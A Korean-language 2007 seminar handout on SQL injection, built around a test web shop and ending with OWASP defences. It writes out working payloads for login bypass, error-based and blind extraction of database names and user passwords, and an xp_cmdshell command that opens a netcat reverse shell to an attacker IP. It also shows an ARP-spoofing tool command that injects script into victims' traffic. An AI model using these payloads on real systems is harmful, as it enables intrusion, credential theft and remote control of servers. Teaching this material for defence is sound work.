SQL Injection Basic 윤현호 (Hyunho.Yun) r3dcat@gmail.com Published:September 2007 http://theflower.or.kr Abstract 본문서는 2007년 9월 7일 SecurityPlus(café.naver.com/securityplus) OWASP Top10 2007 Seminar 관련자료입니다. 영리를목적으로사용및배포를금지합니다. 문서의내용은임의의가상테스트서버를대상으로한기본적인 OWASP TOP 10 범위안에서의기본적인내용들로구성되어있습니다. 더욱자세한내용은 http://gimyo.com/owasp 를참고해주시기바랍니다. 본문서는 OWASP의이해를돕기위한문서이며, 비인가된접근은불법입니다.
1 Introduction - SQL이란? SQL(Structured Query Language) 이란, 데이터정의어 (DDL) 과데이터조작어 (DML) 를포함한 DB용질의어로써일반적인쉬운예로웹 Application이 DataBase에게시물을저장하고불러오는과정에서사용하게됩니다... - SQL Injection 공격이란? SQL 구문삽입 (Injection) 은웹 App이 DB에질의를하는과정사이에일반적인값 (Value) 외에 DateBase에서실행이가능한구문을인자값뒤에함께삽입하여공격자가원하는 SQL 쿼리문을실행하는공격을이야기합니다. 본문서에서는일반적인에러값반환을통해 DataBase의내부정보를절취하는방법과에러값반환이안되는경우 Blind SQL Injection을통해내부정보를절취하는방법에대해서설명하도록하겠습니다. 2 상세내용 인젝션은사용자가입력한데이터가명령어나질의어의일부로써인터프리터에보내질때인젝션이이뤄집니다. 공격자들은특별히제작된데이터를입력하여인터프리터를속여의도되지않은명령어들을실행하도록하여어떤임의의데이터를생성하고, 읽고, 갱신하고, 삭제하는것을허용하도록합니다. 최악의경우는이러한취약점들이공격자로하여금어플리케이션을완전히손상시키고시스템을다운시키고, 심지어철저하게숨겨진방화벽환경을우회하는것을허용할수있는취약점입니다.
우선 SQL 인젝션을이야기하려면 SQL 쿼리문에대한대략의이해가필요합니다. 이부분은별도의자료를통해습득하셨을것으로보고취약점공격부터하나씩살펴보도록하겠습니다. 가 ) 인젝션을통한인증모듈우회공격인증을처리하는모듈이입력값에대해적절히검사하지않았을때공격자는비정상적인 SQL Query를삽입할수있고이를이용해사용중인데이터베이스에영향을주어인증모듈을우회할수있습니다. 위의그림과같이일반적인 ID/Password 로그인창이있을경우 ID와 Password 부분에값을입력하여로그인절차를거치게됩니다. 해당페이지에서오른쪽버튼을클릭하여소스보기를하여해당페이지의소스내용을살펴보면 HTML로 <input type="text" name="admin_id" size="17" maxlength="30"> <input type="password" name="admin_pass" size="17" maxlength="30"> 태그가있는것을확인할수있습니다. 우리는 admin_id와 admin_pass 로입력되는파라메터값이 DB에다음과같은쿼리로전달될것을예상할수있습니다.
SELECT admin_id, admin_pass from admintable where admin_id= $admin_id AND admin_pass= $admin_pass ; 내용을해석해보면 admintable에서 admin_id와 admin_pass의값을반환하는데 admin_id의값이붉은색 $admin_id와같고 admin_pass 값이붉은색 $admin_pass와같을때의값을가져옵니다. 만일에러가발생시로그인실패메시지를뿌리고제대로값이반환이되면로그인이완료될것입니다. 상단의쿼리문을통해보면입력되는값을 (single qute) 으로감싸져있는것을확인할수있습니다. 그렇다면입력값에 를입력했을경우는어떤결과가발생할까요? DBMS에서는 의시작을받고 ( 입력된 single qute) 로입력값이끝난것으로생각합니다. 그렇지만원래코드에있던 (single qute) 를만나서에러가발생하고다시로그인실패로인식하여로그인창을재로딩합니다. 일반적인경우라면 admin_id와 admin_pass에 string 형태의값이들어오겠지만해당입력값으로 or a = a -- 와같은형태의값을입력하게되면입력값검증모듈이없기때문에해당쿼리는다음과같이입력됩니다. SELECT admin_id, admin_pass from admintable where admin_id= or a = a -- AND admin_pass= $admin_pass ; 붉은색으로표시된부분이우리가입력한쿼리구문입니다. admintable에서 admin_id, admin_pass를가져오는데그값이 admin_id가 (null) 이거나 a=a 일때의값을반환하고뒤의파란색은모두 -- 로인해주석처리가됩니다. 그러면 DBMS는어떻게반응을할까요? admintable에서 admin_id가 이거나 a=a 가참일때의값을찾게됩니다. 그렇기때문에언제나 a=a는참이므로 admin_id에서가장처음부터가장마지막까지모든값이다반환이되어버립니다. 그러면웹 Application에서는당연히 1개의값만이반환되었을것을가정으로코딩
이되어있기때문에가장상위에반환된값으로로그인이되는겁니다. 이렇게간단하게로그인인증모듈을우회하는방법을알아보았습니다. 쿼리구문에따라서 가들어갈수도있고 가들어가거나 ) 가들어갈수도있습니다. 그렇지만기본적인구조는상단과같기때문에쉽게응용이되실것으로믿습니다. 나 ) 일반적인에러값반환을통한 SQL Injection 공격이번에는에러값반환을통한 SQL Injection 공격을살펴보겠습니다. 현재구현된 the Flower shop의경우는좀더 SQL Injection 공격을편하게그리고정확하게하기위해서실행되는쿼리문을상단에출력하도록제작하였습니다. (1) 입력 검색창에 A라고글을쳤을경우 (1) 과같이쿼리문이완성되는것을확인할수있습니다. 그러면이번에는 를하나만쳐보겠습니다.
첫번째줄의 SELECT * FROM board_free where info_title like '%'%' ORDER BY INFO_REF DESC, INFO_STEP 는게시판의구조상실행하는 SQL 쿼리문을출력해준부분입니다. 그리고하단에있는에러페이지를보면 ' ORDER BY INFO_REF DESC, INFO_STEP' 문자열앞에닫히지않은인용부호가있습니다. 라는메시지가출력되는것을알수있습니다. 입력한구문에서에러가발생시뒷쪽의있는쿼리구문을출력해주는것을알수있습니다. 그러면이번에는 a%'and 1=(select @@VERSION)-- 이라고검색창에쳐넣어보도록하겠습니다. 전체완성적인쿼리는다음과같습니다. SELECT * FROM board_free where info_title like '%a%'and 1=(select @@VERSION)--%' ORDER BY INFO_REF DESC, INFO_STEP 파란색은원래있던쿼리문이고붉은색이우리가삽입한쿼리문입니다. 내용을해석해보면 board_free 에서 info_title이 a와비슷하고현재 DB의버젼정보값이 '1' 과같은걸출력하라. --는 MS SQL의주석처리코드이기때문에뒤에 "%' ORDER BY INFO_REF DESC, INFO_STEP" 은모두주석으로처리해서 DB에서작용을하지못합니다. 그렇다면 SELECT * FROM board_free where info_title like '%a%'and 1=(select @@VERSION)--가실행되면무슨일이일어날까요? DBMS의버젼정보는 string값이고 1은 int 값이기때문에에러가발생하죠. the Flower 숍의경우위에서살펴본것과같이에러발생지점의뒤쪽에있는쿼리문을상세하게출력하기때문에그 DBMS의버전정보를상세하게에러메세지에출력합니다.
이번에는 DB명을같은원리로가져오겠습니다. a%'and 0<>db_name()-- 이라고검색창에입력해보겠습니다. 이렇게 DB 이름이나오고 a%'and user>0-- 을입력하면다음과같이 Dbo 계정으로 DB 가실행되고있음을알수있습니다. 이번에는 a%'and 0<>(select top 1 name from camel.dbo.sysobjects where xtype=char(85))--를입력하겠습니다. 내용을살펴보면 camel DB의 dbo의 sysobjects 테이블에서 user(char(85) 의값은대문자 U로 user를의미 ) 가생성한테이블중첫번째것을 0과비교합니다.
Besong 이라는테이블을찾아낸후에같은방법으로다음쿼리들을삽입합니다. a%'and 0<>(select top 1 name from (select top 19 name from camel.dbo.sysobjects where xtype='u' order by name asc) as table1 order by name desc)-- 상기와같이파란색부분의숫자만바꿔가면서계속삽입을하여특정DB에서특정인이만든 19번째테이블명을얻어냅니다. 이렇게얻어낸테이블명중상기와같이원하는정보가있는테이블발견하면그안에서컬럼정보를얻어오도록합니다. a%'and 0<>(select top 1 char(94)+cast(id as varchar(8000))+char(94) from (select top 19 id from camel.dbo.sysobjects where name='member' order by id asc) as table1 order by id desc)-- 상기와같은쿼리를입력합니다. Char(94) 를양쪽에넣은이유는출력을원하는값이 int형이기때문에강제변환연산 (CAST) 를통해서 varchar로바꾸고양쪽에
^을넣어주어서 int형과비교시강제에러를발생하기위해서넣은식입니다. 파란색부분에상단에서찾아낸원하는테이블명을넣으면그해당 ID 값을다음과같이출력합니다. a%'and 0<>(select top 1 name from (select top 5 name from camel.dbo.syscolumns where id=549576996 order by name asc) as table1 order by name desc)-- 상단에서나온 ID값으로다시삽입을해보면다음과같이원하는컬럼 (5번째컬럼 ) 을출력합니다. 같은방법으로 7 번째컬럼을조회하면아래와같이나타납니다.
에러값을통해서현재 member 테이블의 mem_id와 mem_pwd가있는것을확인했습니다. 그러면이번에는그데이터값을출력하도록하겠습니다. a%'and 0<>(select top 1 char(94)+cast(mem_id as varchar(8000))+char(94) from camel.dbo.member)-- 이번에도 member 에서 mem_id 를가져오도록합니다. 이번에는 Free 라는 ID 가존재하는것을알게되었습니다. a%'and 0<>(select top 1 char(94)+cast(mem_pwd as varchar(8000))+char(94) from camel.dbo.member)-- 획득한정보를바탕으로실제로로그인을해보도록하겠습니다.
Free / freedom 으로로그인을해보았습니다. 쉽게로그인이되는걸확인할수있습니다. 다 ) 저장프로시저를이용한공격저장프로시저를이용한명령어실행의경우중국에서 2005년부터현재까지엄청나게공격에사용한자동화도구에서시스템에명령을내릴때사용되는방법입니다. 이역시어떠한결과값을리턴하는게아닌공격자의추측에의한방법으로한단계씩공격을진행하는방법입니다. 다양한형태의공격유형이있지만여기서는 Reverse Telnet을통한연결만을해보도록하겠습니다. 명령프롬프트를통한접근이가능하므로이후에공격은다양하게실행할수있습니다. 첨부파일로 nc.exe(netcat) 을업로드합니다.
많은저장프로시저중에서가장쉽게접할수있는 xp_cmdshell 을사용해서 Shell에명령을내려보겠습니다. 이경우는 DBMS에서프로시저를사용해서명령을내리기때문에 DBMS의권한으로 process가구동됨을알수있습니다. 우선아래와같이인젝션구문을삽입할경우 a%';exec master..xp_cmdshell 'copy c:\www\came\board\upload\nc.exe %systemroot%nc.exe -- 전체쿼리문은아래와같게됩니다. SELECT * FROM board_free where info_title like '% a%';exec master..xp_cmdshell 'copy c:\www\came\board\upload\nc.exe %systemroot%nc.exe -- %' ORDER BY INFO_REF DESC, INFO_STEP 해석을해보면이건두개의쿼리가순차적으로실행된다는걸알수있습니다. SELECT * FROM board_free where info_title like '% a%'; 가먼저실행되어서 a가들어간제목을가진게시물을출력하게됩니다. 그리고다음으로는 ;EXEC master..xp_cmdshell 'copy c:\www\came\board\upload\nc.exe %systemroot%nc.exe -- 가실행되게됩니다. Xp_cmdshell 프로시저를실행하여 copy 명령으로 nc.exe 를 system 폴더로복사하
도록합니다. 그리고 cmd 창에서 ipconfig를통해서본인의 IP를확인한후 nc.exe(netcat) 으로 listen 하도록실행합니다. 이렇게준비가모두끝났으면다시 xp_cmdshell로 nc로 168.154.201.52(listen mode에들어간 nc가실행된 host의 ip) 로연결하도록인젝션구문을삽입합니다. a%';exec master..xp_cmdshell 'nc 168.154.201.52 1234 -e cmd'-- 이렇게삽입을하면아래와같이서버의 cmd로 netcat을통해서연결이된것을알수있습니다.
서버에서 nc가실행된프로세스를확인해보면아래와같이 sqlservr.exe 프로세스밑에서 cmd.exe(pid:3024) 가실행된것을볼수있습니다. 이건 xp_cmdshell이실행되는것을의미하며그하위에있는 nc.exe를실행하고있는것을알수있습니다. 그리고 nc.exe 하위에 cmd.exe는 netcat을통해원격지 ( 공격자 ) 에서연결이실행된 cmd.exe를나타내고있는것입니다. xp_cmdshell 이렇게원격지에서 reverse telnet으로연결된경우는위에서보듯이 sqlservr.exe에서실행이되기때문에관리자의권한으로 cmd.exe가실행되어관리자명령들을그대로수행할수있습니다.
이렇게해서저장프로시저를이용한공격에대해서간략하게실습을해보았습니다. 라 ) Blind SQL Injection 공격 Blind SQL은말그대로장막에가려진것과같이리턴값이상세하게나타나지않는사이트를공격할때사용합니다. 이경우에러페이지가설정이되어있어서특별한정보를얻을수없는경우에 true와 false 값의차이만으로값을한자리씩찾아가는방법입니다. 그러면원래쿼리를살펴보도록하겠습니다. SELECT * FROM board_free where info_title like '%a%' ORDER BY INFO_REF DESC, INFO_STEP 위에서보듯이 a가공격자가입력한구문입니다. A가들어간제목을출력해주는쿼리문입니다. 그쿼리문을다음과같은구문으로삽입하여변경하도록하겠습니다. %a and 1=1 -- 위와같이입력을했을경우쿼리문은다음과같은형태로변하게됩니다.
SELECT * FROM board_free where info_title like '%a%'and 1=1--%' ORDER BY INFO_REF DESC, INFO_STEP 위의경우 -- 뒤의구문은역시주석처리가되어무시하고 -- 앞의구문을살펴보도록하겠습니다. Board_free의모든컬럼값을반환하는데 info_title에서 a가들어가있고 (!) 1=1이면출력하도록합니다. 당연히 1=1 인값은 true 입니다. 그렇기때문에 dbms는 info_title에 a가들어간게시물을출력합니다. 이번에는약간다르게해보겠습니다. %a and 1=2 -- 를삽입해보면, 쿼리는다음과같이변하게됩니다. SELECT * FROM board_free where info_title like '%a%'and 1=2-- 이내용은 a가들어가있으며 (!!) 1=2인값을출력하도록합니다. 그렇지만 1=2가아니죠. False 입니다. 이경우는아무것도가져올수없겠죠.
그래서게시물을아무것도출력할수없어서등록된데이터가없는것으로출력되었습니다. 그렇다면이게왜중요한것일까요? And 구문뒤에있는값의 true/false 값을알아낼수있기때문에정말중요한것입니다. 이제우리는 and 구문뒤에있는내용의 true/false 을물어보는구문을만들어보겠습니다. a%' AND ascii(substring((select top 1 name from (select top 1 name,dbid from master..sysdatabases order by name asc,dbid desc ) as T order by name desc,dbid asc),1,1))=99-- 쿼리를잘살펴보도록하겠습니다. 서브쿼리부터살펴보도록하겠습니다. select top 1 name,dbid from master..sysdatabases order by name asc,dbid desc master의 sysdatabases 에서 name(db명 ) 과 dbid(id) 중에첫번째값을하나씩가져옵니다. (select top 1 name from (select top 1 name,dbid from master..sysdatabases order by name asc,dbid desc ) as T order by name desc,dbid asc) 그리고파란색에서가져온 name,dbid 에서 name 값의첫번째값을하나가져옵니다. (substring((select top 1 name from (select top 1 name,dbid from master..sysdatabases order by name asc,dbid desc ) as T order by name desc,dbid asc),1,1 색이많아서다소혼란스럽지만다시파란색에서가져온값에서조회해온 name 값한개의첫번째, 한글자를잘라냅니다. AND ascii(substring((select top 1 name from (select top 1 name,dbid from master..sysdatabases order by name asc,dbid desc ) as T order by name desc,dbid asc),1,1))=99 그리고마지막으로잘라낸한글자를 ascii 값으로변환하여그값을 ascii값 99인
지비교를합니다. Ascii(99) 는영문자소문자 c 입니다. 우리가실험을하고있는 database의 db명은 camel로그첫글자는영문자 c 입니다. 그렇기때문에 and 구문뒤의값은 true로 A가들어간게시물들이출력됨을알수있습니다. a%' AND ascii(substring((select top 1 name from (select top 1 name,dbid from master..sysdatabases order by name asc,dbid desc ) as T order by name desc,dbid asc),1,1))=100-- 그러면이제 100과비교를해보겠습니다. 내용은다같으며영문자 d와비교하는것입니다.
위와같이등록된데이터가없습니다. 라고 false 값임을알수있는메시지가출력이되었습니다. 그러면상기와같은방법으로 blind sql injection으로 database 명과 table명, column명, data를모두하나씩알아올수있음을알게되었습니다. 그렇지만상기와같은작업을수작업으로하는것은너무느리고어렵기때문에실무에서는자동화도구를직접만들어서진단을시행합니다. 소스코드의로직은우리가상단에서수행했던수동진단방법과동일하게짜여져있습니다. 아래와같이실행결과쉽게 db 명과같은정보를가져올수있었습니다.
Trying 항목은현재한글자씩 db명을맞춰가는부분으로현재시도하고있는글자를알려줍니다. 이렇게여러가지방법으로인젝션취약점의가장대표적인공격이였던 SQL 인젝션공격에대해서알아보았습니다. 세미나시연에서는이후 SQL 인젝션외에다른형태의인젝션공격인 ARP spoofing 을통한악성코드공격에대해서살펴보았습니다. 그렇지만본실습세미나에서는악성코드실행용해킹툴을공개하지않도록요청이들어왔기때문에이부분은간략한설명으로대신하도록하겠습니다.
위의그림은악의적인공격자가 SQL 인젝션등의공격을통해 DMZ의서버를점령한후같은 DMZ에존재하는서버에일반사용자의요청에악성코드를삽입하는방법에대해서설명하고있습니다. (1) 공격자는취약점을통해취약서버를점령합니다. (2),(3) 점령한서버에서 ARP Spoofing 등의공격으로 GateWay로가는패킷의흐름을점령된서버를거쳐서 GateWay로가도록패킷의흐름을변경합니다. (4) 일반사용자는깨끗한서버에일반적인 HTTP 통신을시도합니다. 그럴경우패킷의흐름은일반사용자가해당서버가존재하는게이트웨이로패킷을보낸후점령된서버를거쳐깨끗한서버로가게됩니다. 그리고깨끗한서버는응답을보내고그사이에점령된서버에서는깨끗한서버통신에악성코드를추가로삽입하여일반사용자에게응답합니다. (5) 마지막으로일반사용자의 PC에악성코드에전염되게됩니다. 시연에사용한도구는점령된서버의 DMZ에서 ARP Spoofing을일으키는중국해킹도구를약간변경한도구를사용했습니다.
sarps.exe -idx 0 -ip 192.168.30.2-192.168.30.99 -port 80 -insert "<script>alert(document.cookie);</script>" 위와같이명령을내릴경우에 port 80으로들어오는요청에대해서경고창으로해당쿠키정보를출력하는구문을삽입하도록하였습니다. 상기화면과같이네이버에직접적인공격을하지않고쉽게태그를삽입이가능함을알수있습니다. 3 대처방안 (OWASP Top10 2007 수록내용 ) 입력검증. 나타나거나저장된데이터를받아들이기전에길이, 유형, 구성, 비즈니스규칙에대한모든입력값을검증하기위하여표준입력검증메커니즘을사용하라. 알고있는올바름을수락 하는검증전략을사용해라. 잠재적으로악의적인데이터를삭제하려고시도하는것보다는검증되지않은입력을거부하라. 에러메시지에무효한데이터를포함해야한다는것을잊지말라. 심지어저장프로시져를호출할때도플레이스홀더대체표지와함께명확하게분류된매개변수화된질의 APl를사용하라. 데이터베이스들과다른백엔드시스템들에접속시최소한권한을강제화하라. 공격자에게유용한상세에러메세지들을피하라. 대개 SQL인젝션으로부터안전한저장프로시져를사용하라. 하지만인젝션이가능할
수있음을조심하라 ( 저장프로시져내에 exec() 또는연결된독립변수에의해가능할수있다.). mysql_query() 나이와유사한동적질의인터페이스들을사용하지마라. PHP의 addslashes() 나 str_replace(" ", " ") 와같은문자치환함수들과같은간단한에스케이프함수들을사용하지마라. 이러한함수들은취약해서공격자들에의해잘이용된다. MySQL 사용할때는 PHP용으로는 mysql_real_escape_string() 를사용하고아니면에스케이프를필요로하지않는 PDO를사용해라. 일반적인오류를조심해라. 입력값들은검증되기에앞서어플리케이션의현재내부표현을반드시해독하고일반화되어야한다. 여러분의어플리케이션이같은입력값을두번해독하지않도록보증해라. 이러한오류들은확인된이후에위험한입력값을제출함으로써 화이트리스트 의방어대책을우회하기위하여사용될수도있다. 언어별구체적인추천 : Java EE 확실하게분류되어준비된명령문혹은 Hibernate나 Spring과같은객체관계맵핑 (ORM) 을사용하라..NET SqlParameter를이용한 SqlCommand혹은 Hibernate와같은객체관계맵핑 (ORM) 처럼확실하게분류된매개변수화된질의어들을사용하라. PHP 확실하게분류된매개변수화된질의어 (bindparam() 사용 ) 를가진 PDO를사용하라. 예제 http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2006-5121 http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2006-4953 http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2006-4592 문의및 Q&A r3dcat@gmail.com